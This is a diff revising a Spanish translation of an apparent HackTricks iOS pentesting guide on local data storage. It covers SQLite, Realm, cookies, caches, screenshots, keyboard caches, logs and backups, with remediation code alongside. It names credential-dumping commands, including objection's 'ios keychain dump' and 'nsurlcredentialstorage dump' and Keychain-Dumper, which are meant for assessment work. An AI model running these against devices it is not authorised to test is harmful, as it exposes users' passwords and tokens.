`/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` -**Si puedes abrir el SQLite y acceder a información sensible, entonces encontraste una mala configuración.** +**Si puedes abrir el SQLite y acceder a información sensible, entonces has encontrado una mala configuración.** {% code title="Código de iGoat" %} ```objectivec -(void)storeDetails { - AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate); +AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate); - NSManagedObjectContext *context =[appDelegate managedObjectContext]; +NSManagedObjectContext *context =[appDelegate managedObjectContext]; - User *user = [self fetchUser]; - if (user) { - return; - } - user = [NSEntityDescription insertNewObjectForEntityForName:@"User" - inManagedObjectContext:context]; - user.email = CoreDataEmail; - user.password = CoreDataPassword; - NSError *error; - if (![context save:&error]) { - NSLog(@"Error in saving data: %@", [error localizedDescription]); +User *user = [self fetchUser]; +if (user) { +return; +} +user = [NSEntityDescription insertNewObjectForEntityForName:@"User" +inManagedObjectContext:context]; +user.email = CoreDataEmail; +user.password = CoreDataPassword; +NSError *error; +if (![context save:&error]) { +NSLog(@"Error in saving data: %@", [error localizedDescription]); - }else{ - NSLog(@"data stored in core data"); - } +}else{ +NSLog(@"data stored in core data"); +} } ``` {% endcode %} ### YapDatabase -[YapDatabase](https://github.com/yapstudios/YapDatabase) es una tienda de clave/valor construida sobre SQLite.\ +[YapDatabase](https://github.com/yapstudios/YapDatabase) es un almacén de clave/valor construido sobre SQLite.\ Como las bases de datos Yap son bases de datos sqlite, puedes encontrarlas usando el comando propuesto en la sección anterior. ### Otras bases de datos SQLite -Es común que las aplicaciones creen su propia base de datos sqlite. Pueden estar almacenando datos sensibles en ellas y dejándolos sin cifrar. Por lo tanto, siempre es interesante revisar cada base de datos dentro del directorio de aplicaciones. Por lo tanto, ve al directorio de la aplicación donde se guarda los datos (`/private/var/mobile/Containers/Data/Application/{APPID}`) +Es común que las aplicaciones creen su propia base de datos sqlite. Pueden estar almacenando datos sensibles en ellas y dejándolos sin cifrar. Por lo tanto, siempre es interesante verificar cada base de datos dentro del directorio de aplicaciones. Por lo tanto, ve al directorio de la aplicación donde se guardan los datos (`/private/var/mobile/Containers/Data/Application/{APPID}`) ```bash find ./ -name "*.sqlite" -or -name "*.db" ``` ### Bases de datos en tiempo real de Firebase -Los desarrolladores de aplicaciones pueden aprovecharlas para **almacenar y sincronizar datos con una base de datos NoSQL alojada en la nube**. Los datos se almacenan como JSON y se sincronizan en tiempo real con cada cliente conectado y también permanecen disponibles incluso cuando la aplicación está sin conexión. +Puede ser aprovechado por los desarrolladores de aplicaciones para **almacenar y sincronizar datos con una base de datos en la nube sin SQL**. Los datos se almacenan como JSON y se sincronizan en tiempo real con cada cliente conectado y también permanecen disponibles incluso cuando la aplicación está sin conexión. -Puede encontrar cómo verificar las bases de datos de Firebase mal configuradas aquí: +Puedes encontrar cómo verificar bases de datos de Firebase mal configuradas aquí: {% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} [firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) {% endcontent-ref %} -### Bases de datos Realm +### Bases de datos de Realm -[Realm Objective-C](https://realm.io/docs/objc/latest/) y [Realm Swift](https://realm.io/docs/swift/latest/) no son suministrados por Apple, pero aún así vale la pena mencionarlos. **Almacenan todo sin cifrar, a menos que la configuración tenga habilitado el cifrado**. +[Realm Objective-C](https://realm.io/docs/objc/latest/) y [Realm Swift](https://realm.io/docs/swift/latest/) no son suministrados por Apple, pero aún así vale la pena mencionarlos. **Almacenan todo sin cifrar, a menos que la configuración tenga el cifrado habilitado**. -Puede encontrar estas bases de datos en `/private/var/mobile/Containers/Data/Application/{APPID}` +Puedes encontrar estas bases de datos en `/private/var/mobile/Containers/Data/Application/{APPID}` ```bash iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls default.realm default.realm.lock default.realm.management/ default.realm.note| @@ -479,16 +492,16 @@ $ find ./ -name "*.realm*" ``` Puedes utilizar la herramienta [**Realm Studio**](https://github.com/realm/realm-studio) para abrir estos archivos de base de datos. -El siguiente ejemplo demuestra cómo utilizar el cifrado con una base de datos de Realm: +El siguiente ejemplo muestra cómo utilizar el cifrado con una base de datos de Realm: ```swift // Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server let config = Realm.Configuration(encryptionKey: getKey()) do { - let realm = try Realm(configuration: config) - // Use the Realm as normal +let realm = try Realm(configuration: config) +// Use the Realm as normal } catch let error as NSError { - // If the encryption key is wrong, `error` will say that it's an invalid database - fatalError("Error opening realm: \(error)") +// If the encryption key is wrong, `error` will say that it's an invalid database +fatalError("Error opening realm: \(error)") } ``` ### Bases de datos de Couchbase Lite @@ -499,187 +512,193 @@ Verifique posibles bases de datos de Couchbase en `/private/var/mobile/Container ### Cookies -iOS almacena las cookies de las aplicaciones en **`Library/Cookies/cookies.binarycookies`** dentro de la carpeta de cada aplicación. Sin embargo, los desarrolladores a veces deciden guardarlas en el **llavero** ya que el mencionado **archivo de cookies puede ser accedido en las copias de seguridad**. +iOS almacena las cookies de las aplicaciones en **`Library/Cookies/cookies.binarycookies`** dentro de la carpeta de cada aplicación. Sin embargo, a veces los desarrolladores deciden guardarlas en el **llavero** ya que el mencionado **archivo de cookies puede ser accedido en las copias de seguridad**. -Para inspeccionar el archivo de cookies, puede usar [**este script de Python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) o usar **`ios cookies get`** de objection.\ -**También puede usar objection para** convertir estos archivos a un formato JSON\*\* e inspeccionar los datos. +Para inspeccionar el archivo de cookies, puedes usar [**este script de Python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) o usar el comando **`ios cookies get`** de Objection.\ +**También puedes usar Objection para** convertir estos archivos a formato JSON e inspeccionar los datos. ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json [ - { - "domain": "highaltitudehacks.com", - "expiresDate": "2051-09-15 07:46:43 +0000", - "isHTTPOnly": "false", - "isSecure": "false", - "name": "username", - "path": "/", - "value": "admin123", - "version": "0" - } +{ +"domain": "highaltitudehacks.com", +"expiresDate": "2051-09-15 07:46:43 +0000", +"isHTTPOnly": "false", +"isSecure": "false", +"name": "username", +"path": "/", +"value": "admin123", +"version": "0" +} ] ``` ### Caché -Por defecto, NSURLSession almacena datos, como **solicitudes y respuestas HTTP en la base de datos Cache.db**. Esta base de datos puede contener **datos sensibles**, como tokens, nombres de usuario o cualquier otra información sensible que se haya almacenado en caché. Para encontrar la información almacenada en caché, abra el directorio de datos de la aplicación (`/var/mobile/Containers/Data/Application/`) y vaya a `/Library/Caches/`. La **caché de WebKit también se almacena en el archivo Cache.db**. **Objection** puede abrir e interactuar con la base de datos con el comando `sqlite connect Cache.db`, ya que es una **base de datos SQLite normal**. +Por defecto, NSURLSession almacena datos, como las solicitudes y respuestas HTTP, en la base de datos Cache.db. Esta base de datos puede contener datos sensibles, como tokens, nombres de usuario u otra información confidencial que se haya almacenado en caché. Para encontrar la información almacenada en caché, abre el directorio de datos de la aplicación (`/var/mobile/Containers/Data/Application/`) y ve a `/Library/Caches/`. La caché de WebKit también se almacena en el archivo Cache.db. Objection puede abrir e interactuar con la base de datos con el comando `sqlite connect Cache.db`, ya que es una base de datos SQLite normal. -Se **recomienda desactivar el almacenamiento en caché de estos datos**, ya que pueden contener información sensible en la solicitud o respuesta. La siguiente lista muestra diferentes formas de lograr esto: +Se recomienda desactivar el almacenamiento en caché de estos datos, ya que pueden contener información sensible en la solicitud o respuesta. La siguiente lista muestra diferentes formas de lograr esto: -1. Se recomienda eliminar las respuestas almacenadas en caché después de cerrar sesión. Esto se puede hacer con el método proporcionado por Apple llamado [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Puede llamar a este método de la siguiente manera: +1. Se recomienda eliminar las respuestas almacenadas en caché después de cerrar sesión. Esto se puede hacer con el método proporcionado por Apple llamado [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Puedes llamar a este método de la siguiente manera: - `URLCache.shared.removeAllCachedResponses()` +`URLCache.shared.removeAllCachedResponses()` - Este método eliminará todas las solicitudes y respuestas almacenadas en caché del archivo Cache.db. -2. Si no necesita utilizar las ventajas de las cookies, se recomienda utilizar la propiedad de configuración [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) de URLSession, que desactivará el almacenamiento de cookies y cachés. +Este método eliminará todas las solicitudes y respuestas almacenadas en caché del archivo Cache.db. +2. Si no necesitas utilizar las ventajas de las cookies, se recomienda utilizar la propiedad de configuración [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) de URLSession, que desactivará el almacenamiento de cookies y cachés. - [Documentación de Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): +[Documentación de Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): - `Un objeto de configuración de sesión efímera es similar a una configuración de sesión predeterminada (consulte default), excepto que el objeto de sesión correspondiente no almacena cachés, almacenes de credenciales ni ningún dato relacionado con la sesión en el disco. En su lugar, los datos relacionados con la sesión se almacenan en RAM. La única vez que una sesión efímera escribe datos en el disco es cuando le indica que escriba el contenido de una URL en un archivo.` -3. La caché también se puede desactivar estableciendo la política de caché en [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Esto desactivará el almacenamiento de caché de cualquier manera, ya sea en memoria o en disco. +`Un objeto de configuración de sesión efímera es similar a una configuración de sesión predeterminada (ver default), excepto que el objeto de sesión correspondiente no almacena cachés, almacenes de credenciales ni ningún dato relacionado con la sesión en disco. En su lugar, los datos relacionados con la sesión se almacenan en la RAM. La única vez que una sesión efímera escribe datos en disco es cuando le indicas que escriba el contenido de una URL en un archivo.` +3. La caché también se puede desactivar estableciendo la política de caché en [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Esto desactivará el almacenamiento de la caché de cualquier manera, ya sea en memoria o en disco. ### Capturas de pantalla -Cada vez que presiona el botón de inicio, iOS **toma una captura de pantalla de la pantalla actual** para poder hacer la transición a la aplicación de una manera más suave. Sin embargo, si hay **datos sensibles** presentes en la pantalla actual, se **guardarán** en la **imagen** (que **persiste** **a través** **de** **reinicios**). Estas son las capturas de pantalla a las que también se puede acceder al hacer doble clic en la pantalla de inicio para cambiar entre aplicaciones. +Cada vez que presionas el botón de inicio, iOS toma una captura de pantalla de la pantalla actual para poder hacer la transición a la aplicación de una manera más suave. Sin embargo, si hay datos sensibles en la pantalla actual, se guardarán en la imagen (que persiste incluso después de reiniciar el dispositivo). Estas son las capturas de pantalla a las que también se puede acceder al hacer doble clic en la pantalla de inicio para cambiar entre aplicaciones. -A menos que el iPhone esté con jailbreak, el **atacante** necesita tener **acceso** al **dispositivo** **desbloqueado** para ver estas capturas de pantalla. Por defecto, la última captura de pantalla se almacena en el sandbox de la aplicación en la carpeta `Library/Caches/Snapshots/` o `Library/SplashBoard/Snapshots` (los ordenadores de confianza no pueden acceder al sistema de archivos desde iOX 7.0). +A menos que el iPhone esté con jailbreak, el atacante necesita tener acceso al dispositivo desbloqueado para ver estas capturas de pantalla. Por defecto, la última captura de pantalla se almacena en el sandbox de la aplicación en la carpeta `Library/Caches/Snapshots/` o `Library/SplashBoard/Snapshots` (los equipos de confianza no pueden acceder al sistema de archivos a partir de iOS 7.0). -Una forma de evitar este comportamiento no deseado es poner una pantalla en blanco o eliminar los datos sensibles antes de tomar la captura de pantalla utilizando la función `ApplicationDidEnterBackground()`. +Una forma de prevenir este comportamiento no deseado es poner una pantalla en blanco o eliminar los datos sensibles antes de tomar la captura de pantalla utilizando la función `ApplicationDidEnterBackground()`. -A continuación se muestra un método de remediación de ejemplo que establecerá una captura de pantalla predeterminada. +A continuación se muestra un ejemplo de un método de corrección que establecerá una captura de pantalla predeterminada. Swift: ```swift private var backgroundImage: UIImageView? func applicationDidEnterBackground(_ application: UIApplication) { - let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage")) - myBanner.frame = UIScreen.main.bounds - backgroundImage = myBanner - window?.addSubview(myBanner) +let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage")) +myBanner.frame = UIScreen.main.bounds +backgroundImage = myBanner +window?.addSubview(myBanner) } func applicationWillEnterForeground(_ application: UIApplication) { - backgroundImage?.removeFromSuperview() +backgroundImage?.removeFromSuperview() } ``` Objective-C: -Objective-C es un lenguaje de programación utilizado para desarrollar aplicaciones iOS y macOS. Es un lenguaje orientado a objetos que se basa en C y agrega características adicionales para trabajar con objetos y clases. Objective-C es el lenguaje principal utilizado para desarrollar aplicaciones iOS antes de la introducción de Swift en 2014. +Objective-C es un lenguaje de programación utilizado para desarrollar aplicaciones en iOS. Es un lenguaje orientado a objetos que se basa en el lenguaje C. Objective-C es ampliamente utilizado para desarrollar aplicaciones nativas de iOS y ofrece una amplia gama de funcionalidades y bibliotecas para facilitar el desarrollo de aplicaciones. + +En el contexto de la piratería ética, el conocimiento de Objective-C es útil para realizar pruebas de penetración en aplicaciones iOS. Al comprender cómo se escriben y estructuran las aplicaciones en Objective-C, los piratas informáticos pueden identificar posibles vulnerabilidades y explotarlas para obtener acceso no autorizado a la aplicación o a los datos del usuario. + +Algunas técnicas comunes de piratería en aplicaciones iOS que involucran Objective-C incluyen la inyección de código, la manipulación de datos en tiempo de ejecución y la explotación de vulnerabilidades conocidas en bibliotecas y marcos de Objective-C. + +Es importante tener en cuenta que la piratería ética debe realizarse con el consentimiento del propietario de la aplicación y siguiendo las leyes y regulaciones aplicables. El objetivo principal de la piratería ética es identificar y remediar las vulnerabilidades de seguridad en lugar de causar daño o robar información confidencial. ``` @property (UIImageView *)backgroundImage; - (void)applicationDidEnterBackground:(UIApplication *)application { - UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"]; - self.backgroundImage = myBanner; - self.backgroundImage.bounds = UIScreen.mainScreen.bounds; - [self.window addSubview:myBanner]; +UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"]; +self.backgroundImage = myBanner; +self.backgroundImage.bounds = UIScreen.mainScreen.bounds; +[self.window addSubview:myBanner]; } - (void)applicationWillEnterForeground:(UIApplication *)application { - [self.backgroundImage removeFromSuperview]; +[self.backgroundImage removeFromSuperview]; } ``` -Esto establece la imagen de fondo en `overlayImage.png` cada vez que la aplicación se minimiza. Esto evita la filtración de datos sensibles porque `overlayImage.png` siempre sobrescribirá la vista actual. +Esto establece la imagen de fondo como `overlayImage.png` cada vez que la aplicación se pone en segundo plano. Esto evita fugas de datos sensibles porque `overlayImage.png` siempre sobrescribirá la vista actual. ### Keychain -Herramientas como [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) se pueden utilizar para volcar el keychain (el dispositivo debe estar con jailbreak).\ -También se puede utilizar `ios keychain dump` de [**Objection**](https://github.com/sensepost/objection)**.** +Herramientas como [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) se pueden utilizar para volcar el keychain (el dispositivo debe estar jailbroken).\ +También puedes usar `ios keychain dump` de [**Objection**](https://github.com/sensepost/objection)**.** **NSURLCredential** -**NSURLCredential** es la clase perfecta para **almacenar el nombre de usuario y la contraseña en el keychain**. No es necesario preocuparse por NSUserDefaults ni por ningún wrapper de keychain.\ -Una vez que el usuario ha iniciado sesión, se puede\*\* almacenar\*\* su nombre de usuario y contraseña en el keychain: +**NSURLCredential** es la clase perfecta para **almacenar el nombre de usuario y la contraseña en el keychain**. No es necesario preocuparse por NSUserDefaults ni por ningún envoltorio de keychain.\ +Una vez que el usuario ha iniciado sesión, puedes almacenar su nombre de usuario y contraseña en el keychain: ```swift NSURLCredential *credential; credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent]; [[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace]; ``` -Puedes usar **Objection's** `ios nsurlcredentialstorage dump` para volcar estas claves. +Puedes usar `ios nsurlcredentialstorage dump` de **Objection** para volcar estas contraseñas. -## Teclados personalizados/Caché de teclado +## Teclados personalizados/Caché del teclado -Desde iOS 8.0, Apple permite instalar extensiones personalizadas para iOS, como teclados personalizados.\ +A partir de iOS 8.0, Apple permite instalar extensiones personalizadas para iOS, como teclados personalizados.\ Los teclados instalados se pueden gestionar a través de **Ajustes** > **General** > **Teclado** > **Teclados**.\ -Los teclados personalizados se pueden utilizar para **interceptar** las **pulsaciones de teclas** y enviarlas al servidor del atacante. Sin embargo, ten en cuenta que **los teclados personalizados que requieren conectividad de red se notificarán al usuario.**\ -Además, el **usuario puede cambiar a un teclado diferente** (más confiable) **para introducir las credenciales.** +Los teclados personalizados se pueden utilizar para **interceptar** las **pulsaciones de teclas** y enviarlas al servidor del atacante. Sin embargo, ten en cuenta que **los teclados personalizados que requieren conectividad de red se notificarán al usuario**.\ +Además, el **usuario puede cambiar a un teclado diferente** (más confiable) **para introducir las credenciales**. -Además, **las aplicaciones pueden impedir que sus usuarios usen teclados personalizados** dentro de la aplicación (o al menos para partes sensibles de la aplicación). +Además, **las aplicaciones pueden evitar que sus usuarios utilicen teclados personalizados** dentro de la aplicación (o al menos en partes sensibles de la aplicación). {% hint style="warning" %} Se recomienda no permitir teclados de terceros si consideras que los usuarios no los necesitarán. {% endhint %} -Ten en cuenta que debido a la corrección automática y las sugerencias automáticas, el teclado predeterminado de iOS capturará y almacenará cada palabra no estándar en un archivo de caché si el atributo **securetTextEntry** no está establecido en **true** o si **autoCorrectionType** no está establecido en **UITextAutoCorrectionTypeNo.** +Ten en cuenta que debido a la autocorrección y las sugerencias automáticas, el teclado predeterminado de iOS capturará y almacenará cada palabra no estándar en un archivo de caché si el atributo **secureTextEntry** no está establecido en **true** o si **autoCorrectionType** no está establecido en **UITextAutoCorrectionTypeNo**. -Por defecto, los teclados **almacenan esta caché** dentro del sandbox de las aplicaciones en el archivo `Library/Keyboard/{locale}-dynamic-text.dat` o en `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Sin embargo, podría estar guardando los datos en otro lugar.\ -Es posible restablecer la caché en _**Ajustes**_ > _**General**_ > _**Restablecer**_ > _**Restablecer diccionario de teclado**_ +Por defecto, los teclados **almacenan esta caché** dentro del sandbox de las aplicaciones en el archivo `Library/Keyboard/{locale}-dynamic-text.dat` o en `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Sin embargo, es posible que esté guardando los datos en otro lugar.\ +Es posible restablecer la caché en _**Ajustes**_ > _**General**_ > _**Restablecer**_ > _**Restablecer diccionario del teclado**_ {% hint style="info" %} -Por lo tanto, **siempre revisa estos archivos** y busca posibles **informaciones sensibles**.\ +Por lo tanto, **siempre verifica estos archivos** y busca posibles **información sensible**.\ **Interceptar el tráfico de red** es otra forma de comprobar si el teclado personalizado está enviando pulsaciones de teclas a un servidor remoto. {% endhint %} -El protocolo [UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) se utiliza para la caché del teclado. Las clases UITextField, UITextView y UISearchBar admiten automáticamente este protocolo y ofrece las siguientes propiedades: +El protocolo [UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) se utiliza para la caché del teclado. Las clases UITextField, UITextView y UISearchBar admiten automáticamente este protocolo y ofrecen las siguientes propiedades: -* `var autocorrectionType: UITextAutocorrectionType` determina si la corrección automática está habilitada durante la escritura. Cuando la corrección automática está habilitada, el objeto de texto realiza un seguimiento de las palabras desconocidas y sugiere reemplazos adecuados, reemplazando automáticamente el texto escrito a menos que el usuario anule el reemplazo. El valor predeterminado de esta propiedad es `UITextAutocorrectionTypeDefault`, que para la mayoría de los métodos de entrada habilita la corrección automática. -* `var secureTextEntry: BOOL` determina si se desactiva la copia de texto y la caché de texto y oculta el texto que se está introduciendo para `UITextField`. El valor predeterminado de esta propiedad es `NO`. +* `var autocorrectionType: UITextAutocorrectionType` determina si se habilita la autocorrección durante la escritura. Cuando la autocorrección está habilitada, el objeto de texto realiza un seguimiento de las palabras desconocidas y sugiere reemplazos adecuados, reemplazando automáticamente el texto escrito a menos que el usuario anule el reemplazo. El valor predeterminado de esta propiedad es `UITextAutocorrectionTypeDefault`, que para la mayoría de los métodos de entrada habilita la autocorrección. +* `var secureTextEntry: BOOL` determina si se desactiva la copia de texto y la caché de texto y oculta el texto que se está ingresando para `UITextField`. El valor predeterminado de esta propiedad es `NO`. **Para identificar este comportamiento en el código:** * Busca en el código fuente implementaciones similares, como ```objectivec - textObject.autocorrectionType = UITextAutocorrectionTypeNo; - textObject.secureTextEntry = YES; +textObject.autocorrectionType = UITextAutocorrectionTypeNo; +textObject.secureTextEntry = YES; ``` -* Abra los archivos xib y storyboard en el `Interface Builder` de Xcode y verifique los estados de `Secure Text Entry` y `Correction` en el `Attributes Inspector` para el objeto correspondiente. +* Abre los archivos xib y storyboard en el `Interface Builder` de Xcode y verifica los estados de `Secure Text Entry` y `Correction` en el `Inspector de Atributos` para el objeto correspondiente. -La aplicación debe evitar el almacenamiento en caché de información sensible ingresada en los campos de texto. Puede evitar el almacenamiento en caché deshabilitándolo programáticamente, utilizando la directiva `textObject.autocorrectionType = UITextAutocorrectionTypeNo` en los UITextFields, UITextViews y UISearchBars deseados. Para los datos que deben enmascararse, como los PIN y las contraseñas, establezca `textObject.secureTextEntry` en `YES`. +La aplicación debe evitar el almacenamiento en caché de información sensible ingresada en los campos de texto. Puedes evitar el almacenamiento en caché desactivándolo programáticamente, utilizando la directiva `textObject.autocorrectionType = UITextAutocorrectionTypeNo` en los UITextFields, UITextViews y UISearchBars deseados. Para los datos que deben estar enmascarados, como los PIN y las contraseñas, establece `textObject.secureTextEntry` en `YES`. ```objectivec UITextField *textField = [ [ UITextField alloc ] initWithFrame: frame ]; textField.autocorrectionType = UITextAutocorrectionTypeNo; ``` ## **Registros** -La forma más común de depurar el código es mediante el registro, y la aplicación **puede imprimir información sensible dentro de los registros**.\ -En iOS versión 6 y anteriores, los registros eran legibles por todo el mundo (una aplicación maliciosa podía leer registros de otras aplicaciones y extraer información sensible de allí). **Hoy en día, las aplicaciones solo pueden acceder a sus propios registros**. +Las formas más comunes de depurar código es mediante el uso de registros, y la aplicación **puede imprimir información sensible dentro de los registros**.\ +En la versión de iOS 6 y anteriores, los registros eran legibles para todo el mundo (una aplicación maliciosa podía leer los registros de otras aplicaciones y extraer información sensible de allí). **Hoy en día, las aplicaciones solo pueden acceder a sus propios registros**. -Sin embargo, un **atacante** con **acceso físico** a un dispositivo **desbloqueado** puede conectarlo a una computadora y **leer los registros** (tenga en cuenta que los registros escritos en disco por una aplicación no se eliminan si la aplicación se desinstala). +Sin embargo, un **atacante** con **acceso físico** a un dispositivo **desbloqueado** puede conectarlo a una computadora y **leer los registros** (ten en cuenta que los registros escritos en el disco por una aplicación no se eliminan si la aplicación se desinstala). Se recomienda **navegar por todas las pantallas** de la aplicación e **interactuar** con **cada** elemento de la interfaz de usuario y **funcionalidad** y proporcionar texto de entrada en todos los campos de texto y **revisar los registros** en busca de **información** **sensible** expuesta. -Use las siguientes palabras clave para verificar el código fuente de la aplicación en busca de declaraciones de registro predefinidas y personalizadas: +Utiliza las siguientes palabras clave para verificar el código fuente de la aplicación en busca de declaraciones de registro predefinidas y personalizadas: * Para funciones predefinidas e integradas: - * NSLog - * NSAssert - * NSCAssert - * fprintf +* NSLog +* NSAssert +* NSCAssert +* fprintf * Para funciones personalizadas: - * Logging - * Logfile +* Logging +* Logfile -**Monitoreo de registros del sistema** +**Monitoreo de los registros del sistema** -Muchas aplicaciones registran mensajes informativos (y potencialmente sensibles) en el registro de la consola. El registro también contiene informes de fallas y otra información útil. +Muchas aplicaciones registran mensajes informativos (y potencialmente sensibles) en el registro de la consola. El registro también contiene informes de errores y otra información útil. -Puede utilizar estas herramientas: +Puedes utilizar estas herramientas: ```bash idevice_id --list # To find the device ID idevicesyslog -u (| grep ) # To get the device logs ``` -Puede recopilar registros de consola a través de la ventana **Dispositivos** de Xcode de la siguiente manera: +Puedes recopilar los registros de la consola a través de la ventana **Dispositivos** de Xcode de la siguiente manera: -1. Inicie Xcode. -2. Conecte su dispositivo a su computadora host. -3. Elija **Ventana** -> **Dispositivos y simuladores**. -4. Haga clic en su dispositivo iOS conectado en la sección izquierda de la ventana Dispositivos. -5. Reproduzca el problema. -6. Haga clic en el botón **Abrir consola** ubicado en el área superior derecha de la ventana Dispositivos para ver los registros de la consola en una ventana separada. +1. Inicia Xcode. +2. Conecta tu dispositivo a tu computadora principal. +3. Elige **Ventana** -> **Dispositivos y simuladores**. +4. Haz clic en tu dispositivo iOS conectado en la sección izquierda de la ventana Dispositivos. +5. Reproduce el problema. +6. Haz clic en el botón **Abrir consola** ubicado en la parte superior derecha de la ventana Dispositivos para ver los registros de la consola en una ventana separada. -![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (15).png>) +![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (15).png>) -También puede conectarse a la shell del dispositivo como se explica en Acceso a la shell del dispositivo, instalar **socat** a través de **apt-get** y ejecutar el siguiente comando: +También puedes conectarte a la shell del dispositivo como se explica en Acceso a la shell del dispositivo, instalar **socat** a través de **apt-get** y ejecutar el siguiente comando: ```bash iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock @@ -697,65 +716,65 @@ Jun 7 13:42:14 iPhone touch[9708] : MS:Notice: Injecting: (null) [touch ![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ -Utilice [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo con las herramientas de la comunidad más avanzadas del mundo.\ -Obtenga acceso hoy: +Utiliza [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\ +Obtén acceso hoy mismo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Copias de seguridad -iOS incluye funciones de copia de seguridad automática que crean copias de los datos almacenados en el dispositivo. Puede **hacer copias de seguridad de iOS** desde su computadora host utilizando iTunes (hasta macOS Catalina) o Finder (desde macOS Catalina en adelante), o a través de la función de copia de seguridad de iCloud. En ambos casos, la copia de seguridad incluye casi todos los datos almacenados en el dispositivo iOS, excepto datos altamente sensibles como la información de Apple Pay y la configuración de Touch ID. +iOS incluye funciones de copia de seguridad automática que crean copias de los datos almacenados en el dispositivo. Puedes hacer **copias de seguridad de iOS** desde tu computadora host utilizando iTunes (hasta macOS Catalina) o Finder (desde macOS Catalina en adelante), o a través de la función de copia de seguridad de iCloud. En ambos casos, la copia de seguridad incluye casi todos los datos almacenados en el dispositivo iOS, excepto datos altamente sensibles como la información de Apple Pay y la configuración de Touch ID. -Dado que iOS realiza copias de seguridad de las aplicaciones instaladas y sus datos, una preocupación obvia es si los **datos sensibles del usuario** almacenados por la aplicación podrían **filtrarse accidentalmente a través de la copia de seguridad**. Otra preocupación, aunque menos obvia, es si **la configuración de configuración sensible utilizada para proteger datos o restringir la funcionalidad de la aplicación podría ser manipulada para cambiar el comportamiento de la aplicación después de restaurar una copia de seguridad modificada**. Ambas preocupaciones son válidas y estas vulnerabilidades han demostrado existir en una gran cantidad de aplicaciones hoy en día. +Dado que iOS realiza copias de seguridad de las aplicaciones instaladas y sus datos, una preocupación obvia es si los datos sensibles del usuario almacenados por la aplicación podrían **filtrarse accidentalmente a través de la copia de seguridad**. Otra preocupación, aunque menos obvia, es si se podrían manipular las **configuraciones de protección de datos o restricción de funcionalidad de la aplicación para cambiar el comportamiento de la aplicación después de restaurar una copia de seguridad modificada**. Ambas preocupaciones son válidas y estas vulnerabilidades han demostrado existir en una gran cantidad de aplicaciones en la actualidad. Una copia de seguridad de un dispositivo en el que se ha instalado una aplicación móvil incluirá todos los subdirectorios (excepto `Library/Caches/`) y archivos en el [directorio privado de la aplicación](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW12).\ -Por lo tanto, **evite almacenar datos sensibles en texto plano dentro de cualquiera de los archivos o carpetas que se encuentran en el directorio privado o subdirectorios de la aplicación**. +Por lo tanto, **evita almacenar datos sensibles en texto plano dentro de los archivos o carpetas que se encuentran en el directorio privado de la aplicación o sus subdirectorios**. -Aunque todos los archivos en `Documents/` y `Library/Application Support/` siempre se respaldan por defecto, puede [excluir archivos de la copia de seguridad](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW28) llamando a `NSURL setResourceValue:forKey:error:` con la clave `NSURLIsExcludedFromBackupKey`.\ -Puede utilizar las propiedades del sistema de archivos [NSURLIsExcludedFromBackupKey](https://developer.apple.com/reference/foundation/nsurl#//apple\_ref/c/data/NSURLIsExcludedFromBackupKey) y 